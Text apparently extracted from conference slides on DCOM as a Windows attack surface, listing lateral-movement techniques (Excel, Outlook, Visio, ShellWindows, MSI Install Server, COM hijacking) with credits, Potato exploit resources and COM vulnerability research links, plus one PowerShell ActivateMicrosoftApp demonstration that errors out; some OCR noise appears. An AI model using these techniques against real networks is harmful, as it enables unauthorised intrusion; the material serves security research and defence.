https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2
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> Excel.Application - Application.RegisterXLL (@ryhanson, 2017)
> Excel.Application - Workbook.Open (@enigma0x3, 2017)

> Excel.Application - DDEInitiate (@PhilipTsukerman, 2017)

> Excel.Application - ExecuteExcel4Macro (@StanHacked & @PhilipTsukerman, 2019)
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> Outlook.Application - CreateObject (@enigma0x3, 2017)

> Word/Excel/PowerPoint/Access - *.Run (@PhilipTsukerman, 2018)

Visio.Application - Document.Application.ShellExecute / Document.ExecuteLine

> ShellWindows - Navigate (@bohops & @Nimrod Levy, 2018-2021)
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Lateral Movement Techniques #4

> Excel.Application - ActivateMicrosoftApp (@grayhatkiller - 2024)

https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922

PS C:\Users\User\Desktop> $com = [System.Activator]::CreateInstance([type]: :GetTypeFromProgID("Excel.Applicat
ion","localhost"))
PS C:\Users\User\Desktop> $com.ActivateMicrosoftApp("5"

Cannot run 'FOXPROW.EXE'. The program or one of its components is damaged or missing.

At line:1 char:1
+ $com.ActivateMicrosoftApp("5")
+ Mmoo e L L e ] ~
+ CategoryInfo : OperationStopped: (:) [], COMException
+ FullyQualifiedErrorId : System.Runtime.InteropServices.COMException
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v

MSI Install Server (@eliran_nissan, @craig-wright 2024-2025)

v

WaaSRemediation - IDispatch Trapped Objects (@tiraniddo, @d_tranman, @bohops, 2025)

v

Remote COM Hijack (@cplsec, 2020)

v

COM Remote DLL Sideload (@saerxcit, 2025)

i%iﬁ DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape

89



Potato Exploits

> Andrea Pierini's Blog > Authentication Coerce

https://github.com/3lp4trOn/RemoteMonologue

https://decoder.cloud

> Antonio Cocomazzi's Blog

https://splintercod3.blogspot.com

\4

HideAndSec's Summary

https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all

> Nico Viakowski's Updated Summary

https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all
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Vulnerability Research

> BHEU 2024 - Enhancing Automatic Vulnerability Discovery for Windows RPC/COM in New Ways

https://www.youtube.com/watch?v=VQiQuLo0Ov58

> USENIX Security '22 - COMRace: Detecting Data Race Vulnerabilities in COM Objects
https://www.youtube.com/watch?v=9bBh2YEqVMA

> COMThanasia - A set of programs for analyzing common vulnerabilities in COM
https://github.com/CICADA8-Research/COMThanasia
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